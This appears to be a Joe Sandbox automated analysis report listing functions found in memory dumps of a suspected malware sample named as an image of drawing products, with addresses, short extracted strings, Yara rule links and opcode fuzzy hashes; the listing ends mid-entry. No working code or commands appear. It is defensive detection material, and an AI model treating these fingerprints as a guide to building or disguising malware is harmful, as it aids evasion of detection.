Function 0011D23B Relevance: 3.9, Strings: 3, Instructions: 184COMMON

Download Yara Rule

Strings

0oOo, xrefs: 0011D2A5
LjOo, xrefs: 0011D428
LjOo, xrefs: 0011D412

Memory Dump Source

Source File: 00000002.00000002.22114996558.0000000000110000.00000040.00000800.00020000.00000000.sdmp, Offset: 00110000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_110000_Drawing_Products_Materials_and_Samples_IMG.jbxd

Similarity

API ID:
String ID: 0oOo$LjOo$LjOo
API String ID: 0-2898272262
Opcode ID: db824392f07e67521e4dd61c229244870830a628595578f3c33fb09fc0a89e84
Instruction ID: eaf314aaf36572d2b4fd63b5deb4cf54a6a7b77b946a37f05e9d79c7113c668a
Opcode Fuzzy Hash: db824392f07e67521e4dd61c229244870830a628595578f3c33fb09fc0a89e84
Instruction Fuzzy Hash: 2481B574E01218CFEB18DFAAD944ADDBBF2BF88300F148069E419AB765DB345981DF11

Function 0011C400 Relevance: 3.9, Strings: 3, Instructions: 184COMMON

Download Yara Rule

Strings

LjOo, xrefs: 0011C5DA
0oOo, xrefs: 0011C46D
LjOo, xrefs: 0011C5F0

Memory Dump Source

Source File: 00000002.00000002.22114996558.0000000000110000.00000040.00000800.00020000.00000000.sdmp, Offset: 00110000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_110000_Drawing_Products_Materials_and_Samples_IMG.jbxd

Similarity

API ID:
String ID: 0oOo$LjOo$LjOo
API String ID: 0-2898272262
Opcode ID: 585502ee82b38ecf0a592e99a94e4f2943b0713b287141a7ff3149d138c4bbfd
Instruction ID: 5d8e261d0c527d5c66e213b64b9d0de515865682523e8ea793e136f2eed3978e
Opcode Fuzzy Hash: 585502ee82b38ecf0a592e99a94e4f2943b0713b287141a7ff3149d138c4bbfd
Instruction Fuzzy Hash: AC81A374E00218CFEB58DFAAD944A9DBBF2BF88300F14D069E409AB365DB349981DF50

Function 0011CC88 Relevance: 3.9, Strings: 3, Instructions: 184COMMON

Download Yara Rule

Strings

0oOo, xrefs: 0011CCF5
LjOo, xrefs: 0011CE62
LjOo, xrefs: 0011CE78

Memory Dump Source

Source File: 00000002.00000002.22114996558.0000000000110000.00000040.00000800.00020000.00000000.sdmp, Offset: 00110000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_110000_Drawing_Products_Materials_and_Samples_IMG.jbxd

Similarity

API ID:
String ID: 0oOo$LjOo$LjOo
API String ID: 0-2898272262
Opcode ID: 77b0dd5ecb4f2d6e755a852ca3a7cc150b224a2a4d49f04144c0c490403a3abb
Instruction ID: 0e29d2f2887635b5aba67a62bb3f4e6b54ec3021f1ad842ecdc99af6d92b863e
Opcode Fuzzy Hash: 77b0dd5ecb4f2d6e755a852ca3a7cc150b224a2a4d49f04144c0c490403a3abb
Instruction Fuzzy Hash: 5F81B374E41218CFEB58DFAAD944ADDBBF2BF89300F148069E409AB365DB345981DF50

Function 0011CF63 Relevance: 3.9, Strings: 3, Instructions: 184COMMON

Download Yara Rule

Strings

0oOo, xrefs: 0011CFCD
LjOo, xrefs: 0011D150
LjOo, xrefs: 0011D13A

Memory Dump Source

Source File: 00000002.00000002.22114996558.0000000000110000.00000040.00000800.00020000.00000000.sdmp, Offset: 00110000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_110000_Drawing_Products_Materials_and_Samples_IMG.jbxd

Similarity

API ID:
String ID: 0oOo$LjOo$LjOo
API String ID: 0-2898272262
Opcode ID: a4c62c2af670cde88739972f3e4f76d3aef7fd1bd89adf398679a4a4c9543a37
Instruction ID: 5b93ac2d5e39ad6e3972f1cc04feb65f61ca9ad345c1f574cdfe3c37d6900417
Opcode Fuzzy Hash: a4c62c2af670cde88739972f3e4f76d3aef7fd1bd89adf398679a4a4c9543a37
Instruction Fuzzy Hash: 3F81A374E00218DFEB58DFAAD944ADDBBF2BF89300F148069E419AB365DB345982DF50

Function 373D6572 Relevance: 2.7, Strings: 2, Instructions: 170COMMON

Download Yara Rule

Strings

7'e=, xrefs: 373D666A
77b=, xrefs: 373D6636

Memory Dump Source

Source File: 00000002.00000002.22150954301.00000000373D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 373D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_373d0000_Drawing_Products_Materials_and_Samples_IMG.jbxd

Similarity

API ID:
String ID: 7'e=$77b=
API String ID: 0-1236949558
Opcode ID: d72aaa023129d5e893d3f73f8d843583861cbca720b876dbaf5a9a05ad354a65
Instruction ID: 9a4fa761e07ddd4af4f53f420d7e4532771e3c20f78b67b947e77c7d3174c0e1
Opcode Fuzzy Hash: d72aaa023129d5e893d3f73f8d843583861cbca720b876dbaf5a9a05ad354a65
Instruction Fuzzy Hash: B7517BB0D05748CBDB15DFAAC99079DBBB2BF8A300F20C17AC428AB251DB344946CF61

Function 37585E48 Relevance: 2.4, Strings: 1, Instructions: 1121COMMON

Download Yara Rule

Strings

p]q, xrefs: 37585F06

Memory Dump Source

Source File: 00000002.00000002.22151341097.0000000037580000.00000040.00000800.00020000.00000000.sdmp, Offset: 37580000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_37580000_Drawing_Products_Materials_and_Samples_IMG.jbxd

Similarity

API ID:
String ID: p]q
API String ID: 0-2967776592
Opcode ID: a66f8abd400cc73c1fa76a79364ea1bfe22a1670126578e2581c82e5ffccc16c
Instruction ID: 9ac93c94f3311068ba4544048f80a8eb3367e835fc90b920cb973f02ac07b822
Opcode Fuzzy Hash: a66f8abd400cc73c1fa76a79364ea1bfe22a1670126578e2581c82e5ffccc16c
Instruction Fuzzy Hash: 4BC2B474A01229CFDB69DF24C994BA9BBB2FB89315F1081E9D809A7355CB359E81CF40

Function 37584278 Relevance: 1.4, Strings: 1, Instructions: 112COMMON

Download Yara Rule

Strings

4, xrefs: 37584284

Memory Dump Source

Source File: 00000002.00000002.22151341097.0000000037580000.00000040.00000800.00020000.00000000.sdmp, Offset: 37580000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_37580000_Drawing_Products_Materials_and_Samples_IMG.jbxd

Similarity

API ID:
String ID: 4
API String ID: 0-4088798008
Opcode ID: eee37ce3592eb972fc8d6d5c05569e183aa013484dd7feb5a3bae52109c1ed45
Instruction ID: 8b9df24052091aa867d05e1c3aecf8e4b3286c66b50d119e13a423ad2028c87f
Opcode Fuzzy Hash: eee37ce3592eb972fc8d6d5c05569e183aa013484dd7feb5a3bae52109c1ed45
Instruction Fuzzy Hash: 0C414871E016189BEB68CF6BD94479EFAF3AFC9300F14C1AAC54CA6254DB740A85CF51

Function 00112D74 Relevance: 1.0, Instructions: 1003COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.22114996558.0000000000110000.00000040.00000800.00020000.00000000.sdmp, Offset: 00110000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_110000_Drawing_Products_Materials_and_Samples_IMG.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b6682d3fdf52cd69635e826bcb5332387bfc84b8e370558f100857c8ef0a75f2
Instruction ID: 755d0fdc1809e4cec96806b4c2ac3f684d89aa7207d021384b0b3212b4d87782
Opcode Fuzzy Hash: b6682d3fdf52cd69635e826bcb5332387bfc84b8e370558f100857c8ef0a75f2
Instruction Fuzzy Hash: 7582303295A351DFDB9A4F348C142D97BF0AF93329B6741FAC8414A962E73D4883CB52

Function 3758625E Relevance: .8, Instructions: 773COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.22151341097.0000000037580000.00000040.00000800.00020000.00000000.sdmp, Offset: 37580000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_37580000_Drawing_Products_Materials_and_Samples_IMG.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9c069c7a83f9377f608d49ce5194aaaef22b4d2b2ce166564179f69a09644ad6
Instruction ID: ac286fd964bf1831cbf4c049e29f56aefff012bc17772bae54f06e7e1edd365d
Opcode Fuzzy Hash: 9c069c7a83f9377f608d49ce5194aaaef22b4d2b2ce166564179f69a09644ad6
Instruction Fuzzy Hash: CA82B274A05228CFDB68DF24C994BADBBB2FB89315F1045E9D809A7355CB35AE81CF40

Function 3741DD58 Relevance: .7, Instructions: 747COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.22151214905.0000000037410000.00000040.00000800.00020000.00000000.sdmp, Offset: 37410000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_37410000_Drawing_Products_Materials_and_Samples_IMG.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9d3574ae23efcdcd24a273e3b2081f08c475f73a2d3498253ca7347385b8a475
Instruction ID: 05ffab0de61fe25b0233cf52c8e9b2c766ed20007b33496dc492e3e28720516a
Opcode Fuzzy Hash: 9d3574ae23efcdcd24a273e3b2081f08c475f73a2d3498253ca7347385b8a475
Instruction Fuzzy Hash: F5826E74E052288FEBA4DF69C994BDDBBB2BB89301F1081E9D40DA7265DB705E81DF40

Function 36A90B30 Relevance: .7, Instructions: 711COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.22150235357.0000000036A90000.00000040.00000800.00020000.00000000.sdmp, Offset: 36A90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_36a90000_Drawing_Products_Materials_and_Samples_IMG.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 28e2770583a0464a0dccdf16a5feef7fdba4bd3d8b96df8f13e7f809ad80af25
Instruction ID: e00374a59bfe62888acd43ad69164a36d9fa1cfcde634480050c3c9398036149
Opcode Fuzzy Hash: 28e2770583a0464a0dccdf16a5feef7fdba4bd3d8b96df8f13e7f809ad80af25
Instruction Fuzzy Hash: 0A72B474E052288FEB64DF69C984BDDBBF2BB49304F6481E9D808A7255DB349E81CF50

Function 00116D68 Relevance: .5, Instructions: 494COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.22114996558.0000000000110000.00000040.00000800.00020000.00000000.sdmp, Offset: 00110000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_110000_Drawing_Products_Materials_and_Samples_IMG.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 586b494e423c90ce1be6ef42d05c0ad34416630aad117a81d0991aebdf681f29
Instruction ID: ff46a910a63c237289f1efe62a6fb2c23a834d898b306d5398263775f930dac7
Opcode Fuzzy Hash: 586b494e423c90ce1be6ef42d05c0ad34416630aad117a81d0991aebdf681f29
Instruction Fuzzy Hash: 0F127070B042199FEB18DF69C854BAEBBB6FF89300F248569E405EB391DB359D41CB90

Function 00117360 Relevance: .5, Instructions: 454COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.22114996558.0000000000110000.00000040.00000800.00020000.00000000.sdmp, Offset: 00110000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_110000_Drawing_Products_Materials_and_Samples_IMG.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dab6fb3d9dc36109f2fc664cbaffaf3741940057740df11a1140f8191538bfff
Instruction ID: d78a1dc28e6cf9de840d7d957db02f923337dfc26ba5dcf8fb0c5c5327a1afe4
Opcode Fuzzy Hash: dab6fb3d9dc36109f2fc664cbaffaf3741940057740df11a1140f8191538bfff
Instruction Fuzzy Hash: B6024C71A04119DFDB18DF69C988AEDBBB2FF89310F15806AE415AB3A1E730DD81CB51

Function 36A99158 Relevance: .4, Instructions: 359COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.22150235357.0000000036A90000.00000040.00000800.00020000.00000000.sdmp, Offset: 36A90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_36a90000_Drawing_Products_Materials_and_Samples_IMG.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 41b1fc8078479fc24553d8b0794da0feda40e8f106925e73b43f738942b6a4ef
Instruction ID: 3a399f082fa4826e64cb953fdec0b9886246e078301ccee9234c25c4305ffae8
Opcode Fuzzy Hash: 41b1fc8078479fc24553d8b0794da0feda40e8f106925e73b43f738942b6a4ef
Instruction Fuzzy Hash: 2FF1D474E052189FEB14DFA9C984B9DFBF2BF88304F6481A9D808AB255DB349985CF50

Function 373D5FE0 Relevance: .3, Instructions: 302COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.22150954301.00000000373D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 373D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_373d0000_Drawing_Products_Materials_and_Samples_IMG.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a46d9649fee7f375c9e21d4d6cd83a50534bda357dc1b75e3092ba01589db11d
Instruction ID: 039e91cadac9faf7b5da8b19580da8b19653fe690671ef2469bd05883ea5b637
Opcode Fuzzy Hash: a46d9649fee7f375c9e21d4d6cd83a50534bda357dc1b75e3092ba01589db11d
Instruction Fuzzy Hash: 51E1CEB4E01218CFEB64DFA9C980B9DBBF2BF89300F2081A9D418B7255DB355A85CF55

Function 37367B88 Relevance: .3, Instructions: 298COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.22150817508.0000000037360000.00000040.00000800.00020000.00000000.sdmp, Offset: 37360000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_37360000_Drawing_Products_Materials_and_Samples_IMG.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0f565af6250212f51bc27ee90481a2c27ddf6ae2c861e0f0c61b3017b961bc4e
Instruction ID: e2352b13891c97a8af09140d2b2428c6841e36177ef351c5f545411f45954b61
Opcode Fuzzy Hash: 0f565af6250212f51bc27ee90481a2c27ddf6ae2c861e0f0c61b3017b961bc4e
Instruction Fuzzy Hash: CBE1C074E01218CFEB54DFA5C984BDDBBB2BF89304F2081AAD408B7294DB355A85DF15

Function 37401CF0 Relevance: .3, Instructions: 294COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.22151145187.0000000037400000.00000040.00000800.00020000.00000000.sdmp, Offset: 37400000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_37400000_Drawing_Products_Materials_and_Samples_IMG.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5148d6e3e4f3dfd71b1e3530068826a5ec658008d2b7617ae2d8eecc2c964cdf
Instruction ID: e00d3d796620c5e3e5e5bac69cd6e68df8289d35b11e6eff8d785125f83fff9d
Opcode Fuzzy Hash: 5148d6e3e4f3dfd71b1e3530068826a5ec658008d2b7617ae2d8eecc2c964cdf
Instruction Fuzzy Hash: 2DD19F74E00218CFEB54DFA5C994B9DBBB2BF89300F6081A9D809AB354DB359E85CF51

Function 373D6688 Relevance: .3, Instructions: 294COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.22150954301.00000000373D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 373D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_373d0000_Drawing_Products_Materials_and_Samples_IMG.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9e3fc21d97387ae4b7e317f5441ce026741e70b8b391e72f234da6b027bfe189
Instruction ID: 42fb33301d65b9216d94a234b1fe024c1c4a417aa7609ec53c4eb46d89d0856a
Opcode Fuzzy Hash: 9e3fc21d97387ae4b7e317f5441ce026741e70b8b391e72f234da6b027bfe189
Instruction Fuzzy Hash: 7DD19E74E00218CFEB54DFA5C994B9DBBB2BF89300F6081A9D809AB354DB359E85CF51

Function 373693C0 Relevance: .3, Instructions: 274COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.22150817508.0000000037360000.00000040.00000800.00020000.00000000.sdmp, Offset: 37360000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_37360000_Drawing_Products_Materials_and_Samples_IMG.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bb64875ecb25fcdf0bd65b36cd32b4dc39edebbef42d9d1eaf2229af7d78e08d
Instruction ID: 08488940aa126f7c3a6c9a2dd4c2343bc0b6d30f75b4bedc468dd02748856ab3
Opcode Fuzzy Hash: bb64875ecb25fcdf0bd65b36cd32b4dc39edebbef42d9d1eaf2229af7d78e08d
Instruction Fuzzy Hash: F2D19274E003188FDB54DFA5C984B9DBBB2BF89300F2081A9D809BB355DB355A82DF55

Function 373D36C8 Relevance: .3, Instructions: 274COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.22150954301.00000000373D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 373D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_373d0000_Drawing_Products_Materials_and_Samples_IMG.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8ed3772b0f6d0a0128326d2f8e867a8adeace890d85fb1a30095a200da14836f
Instruction ID: 90dfb961fee63ba879b0f85452a8823d00714b7a8cabcbe3f774b91e5864ba57
Opcode Fuzzy Hash: 8ed3772b0f6d0a0128326d2f8e867a8adeace890d85fb1a30095a200da14836f
Instruction Fuzzy Hash: CBD19F74E013188FEB54DFA9C990B9DBBB2BF89300F2081A9D409BB354DB355A82DF55

Function 36A92580 Relevance: .3, Instructions: 270COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.22150235357.0000000036A90000.00000040.00000800.00020000.00000000.sdmp, Offset: 36A90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_36a90000_Drawing_Products_Materials_and_Samples_IMG.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4003580ba156f82eed41dbe072d028e9910e4e1e6471e3358eb99e767fcd432c
Instruction ID: b3b44f9e203d87f1bb44e4cdc6e63d83e746a615c469b8058ecba38bc0dd396d
Opcode Fuzzy Hash: 4003580ba156f82eed41dbe072d028e9910e4e1e6471e3358eb99e767fcd432c
Instruction Fuzzy Hash: 75C1AE74E01318CFEB54DFA5C944B9DBBB2BF89305F2081A9D809AB354DB359A86CF14

Function 37362300 Relevance: .3, Instructions: 270COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.22150817508.0000000037360000.00000040.00000800.00020000.00000000.sdmp, Offset: 37360000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_37360000_Drawing_Products_Materials_and_Samples_IMG.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cd10a1b302b7966606ac0289548769fe733ddf2e3f68eeb63b83a60d6d6d7bbc
Instruction ID: c6cceb9d9ff30b4fa90a48225cf6eb4d77e095a4b86f65348ed77fe37c6303fc
Opcode Fuzzy Hash: cd10a1b302b7966606ac0289548769fe733ddf2e3f68eeb63b83a60d6d6d7bbc
Instruction Fuzzy Hash: CDC1B074E04318CFEB54DFA5C984B9DBBB2BF89304F2081A9D809AB355DB359A81DF14

Function 375850F0 Relevance: .2, Instructions: 249COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.22151341097.0000000037580000.00000040.00000800.00020000.00000000.sdmp, Offset: 37580000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_37580000_Drawing_Products_Materials_and_Samples_IMG.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f7822677040ca5d3eb00780c8d03ce12f021f7df2f6696a298d85b8f24391dce
Instruction ID: de51e763854812d82dfcac102f0fd5ac3405012c81eaf61e01c7857b6f94de80
Opcode Fuzzy Hash: f7822677040ca5d3eb00780c8d03ce12f021f7df2f6696a298d85b8f24391dce
Instruction Fuzzy Hash: 50915175E10215DFEB14AFB0D8587EEBBB2EB06756F00542AD102772D1CBB88A86CF54

Function 36A92B50 Relevance: .2, Instructions: 230COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.22150235357.0000000036A90000.00000040.00000800.00020000.00000000.sdmp, Offset: 36A90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_36a90000_Drawing_Products_Materials_and_Samples_IMG.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 48c976397ca0ac1ac9c356bc612799b4831c09056b9f29ec99caca9e7546def7
Instruction ID: 5e110d27149cae0733ebd7dd55f7c6120ded2912dd2365143d554847bb4fb029
Opcode Fuzzy Hash: 48c976397ca0ac1ac9c356bc612799b4831c09056b9f29ec99caca9e7546def7
Instruction Fuzzy Hash: 80A1E074D102088FEB14DFA9C984BDDBBF1FF89304F208269E409AB292DB759985CF55

Function 36A94C23 Relevance: .2, Instructions: 225COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.22150235357.0000000036A90000.00000040.00000800.00020000.00000000.sdmp, Offset: 36A90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_36a90000_Drawing_Products_Materials_and_Samples_IMG.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3402c5ac6d9e15e32d782bb00cc13d4dc5b3830ebd930a2593d9406237a1c225
Instruction ID: 15039e8997c25dffdce7d11510d4189cba7434de1b034d19af567b67905253f2
Opcode Fuzzy Hash: 3402c5ac6d9e15e32d782bb00cc13d4dc5b3830ebd930a2593d9406237a1c225
Instruction Fuzzy Hash: 69A1E371D106198EDB14DFA9C844BDDFBF1EF89304F20C2AAD4186B261EB709A85CF51

Function 36A92B60 Relevance: .2, Instructions: 224COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.22150235357.0000000036A90000.00000040.00000800.00020000.00000000.sdmp, Offset: 36A90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_36a90000_Drawing_Products_Materials_and_Samples_IMG.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e0ff3f08890561881016a2a79676334cdb6b20b41a45db8d743cb212a18aaf28
Instruction ID: 0f7f34c8b91432179bdd80b5c91b83a9814637998b23268052a0f6c6a66288e0
Opcode Fuzzy Hash: e0ff3f08890561881016a2a79676334cdb6b20b41a45db8d743cb212a18aaf28
Instruction Fuzzy Hash: CEA1D074D102088FEB14DFA9C944BDDBBF1FF89314F208269E409AB291DB749985CF59

Function 36A91E98 Relevance: .2, Instructions: 222COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.22150235357.0000000036A90000.00000040.00000800.00020000.00000000.sdmp, Offset: 36A90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_36a90000_Drawing_Products_Materials_and_Samples_IMG.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c981e51c402097ac279aa180a8966d7d20e381cbfc50a669d96d8a7fbc076cdb
Instruction ID: cef6ad53675f2c5272d4dc00145f29581a407c7f1420d245c55a327630774fbf
Opcode Fuzzy Hash: c981e51c402097ac279aa180a8966d7d20e381cbfc50a669d96d8a7fbc076cdb
Instruction Fuzzy Hash: 2DA192B5E012288FEB64DF6AC944BDDBBF2BF89300F14C1A9D808A7254DB345A85CF54

Function 37582008 Relevance: .2, Instructions: 222COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.22151341097.0000000037580000.00000040.00000800.00020000.00000000.sdmp, Offset: 37580000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_37580000_Drawing_Products_Materials_and_Samples_IMG.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5c9d8f49f0b30a5ee8afaa1e8f470c7c4cfc2c24c6a83e5d076b55e0eb843fdb
Instruction ID: ef920d535aec4b36dd78cee24d1e79ec6941d44ba8f1c8d2bbf5e0674f4684a8
Opcode Fuzzy Hash: 5c9d8f49f0b30a5ee8afaa1e8f470c7c4cfc2c24c6a83e5d076b55e0eb843fdb
Instruction Fuzzy Hash: 2BA19475E01228DFEB58DF6AC944B9DBBF2BF89300F14C1AAD408A7250DB745A85CF51

Function 37582DD0 Relevance: .2, Instructions: 222COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.22151341097.0000000037580000.00000040.00000800.00020000.00000000.sdmp, Offset: 37580000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_37580000_Drawing_Products_Materials_and_Samples_IMG.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dbb44701a0ce81526317b83503a5912b57cedf921bb8b3a7ea6ba43f00a4b187
Instruction ID: a7f3147fd567ef42e218c9605444671b9d3cb1f9eb6ae240a60730497e2a4ef5
Opcode Fuzzy Hash: dbb44701a0ce81526317b83503a5912b57cedf921bb8b3a7ea6ba43f00a4b187
Instruction Fuzzy Hash: 33A182B5E01218DFEB68DF6AC944B9DBBF2AB89300F14C1AAD408A7250DB745A85CF51

Function 37584288 Relevance: .2, Instructions: 222COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.22151341097.0000000037580000.00000040.00000800.00020000.00000000.sdmp, Offset: 37580000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_37580000_Drawing_Products_Materials_and_Samples_IMG.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: eef9ed33d0fbd6c955e18c44867ea72c41d618e7a3563496524f2af26865b720
Instruction ID: 68142b1d5dabc94203ece85b780a62d9ee97d1463c83aff9bb156941b603a5e2
Opcode Fuzzy Hash: eef9ed33d0fbd6c955e18c44867ea72c41d618e7a3563496524f2af26865b720
Instruction Fuzzy Hash: 6DA19775E01228DFEB58DF6AC944B9DBBF2BF89301F14C1AAD408A7250DB345A85CF11

Function 375834B8 Relevance: .2, Instructions: 222COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.22151341097.0000000037580000.00000040.00000800.00020000.00000000.sdmp, Offset: 37580000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_37580000_Drawing_Products_Materials_and_Samples_IMG.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e0caf76013a36ad7c2136281bacc16b56575f183e1c4098ec23991146b9a543b
Instruction ID: 142ac2c4e26ca0e77b65c36020ee3b94c11e0cb3520d5522939a9831fe2c025b
Opcode Fuzzy Hash: e0caf76013a36ad7c2136281bacc16b56575f183e1c4098ec23991146b9a543b
Instruction Fuzzy Hash: C6A173B5E012189FEB68DF6AC944B9DBBF2AB89300F14C1AAD40CA7250DB345A85CF55

Function 37583BA0 Relevance: .2, Instructions: 222COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.22151341097.0000000037580000.00000040.00000800.00020000.00000000.sdmp, Offset: 37580000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_37580000_Drawing_Products_Materials_and_Samples_IMG.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9bb9093fd38b3901473d80ad100928d1366119b83c56269d6e81a9100342f11b
Instruction ID: f9ad9a048a237e3a726ed6aa6af0006d570f61d1b0e6cb6777d22b6dad130091
Opcode Fuzzy Hash: 9bb9093fd38b3901473d80ad100928d1366119b83c56269d6e81a9100342f11b
Instruction Fuzzy Hash: E0A1A474E052289FEB68CF6AC944B9DBBF2BF89300F14C1AAD40CA7250DB745A85CF50

Function 36A917B0 Relevance: .2, Instructions: 221COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.22150235357.0000000036A90000.00000040.00000800.00020000.00000000.sdmp, Offset: 36A90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_36a90000_Drawing_Products_Materials_and_Samples_IMG.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2b1222e194d818dec690343d655acfb5cd4db703b36a98d2def99beaea7071f2
Instruction ID: 944fa2d66efa19d50145d50a93fff3a916dca1772045b862d8b03166a8e12bb7
Opcode Fuzzy Hash: 2b1222e194d818dec690343d655acfb5cd4db703b36a98d2def99beaea7071f2
Instruction Fuzzy Hash: BCA182B5E012288FEB64DF6AC944BD9BBF2BF89300F14C1A9D808A7254DB745A85CF51

Function 37584970 Relevance: .2, Instructions: 221COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.22151341097.0000000037580000.00000040.00000800.00020000.00000000.sdmp, Offset: 37580000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_37580000_Drawing_Products_Materials_and_Samples_IMG.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c38c113b343aa36280026878f61e7c6c4539c3c3114ac11bfd13d67364427c13
Instruction ID: fe1accfdf49c3667686bea458dc64b324288d19100bc2b415b72f2120d091d71
Opcode Fuzzy Hash: c38c113b343aa36280026878f61e7c6c4539c3c3114ac11bfd13d67364427c13
Instruction Fuzzy Hash: 4AA19475E01228DFEB68DF6AC944B9DBBF2BF89301F14C1AAD408A7250DB345A85CF51

Function 375826F0 Relevance: .2, Instructions: 221COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.22151341097.0000000037580000.00000040.00000800.00020000.00000000.sdmp, Offset: 37580000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_37580000_Drawing_Products_Materials_and_Samples_IMG.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b46bff210992d33ece722ed33445180a5c8be9c153ec29e1f24283f514c800f8
Instruction ID: a295955a9858591965ed310e1731093237cfc9046b33866d4deebfcded535172
Opcode Fuzzy Hash: b46bff210992d33ece722ed33445180a5c8be9c153ec29e1f24283f514c800f8
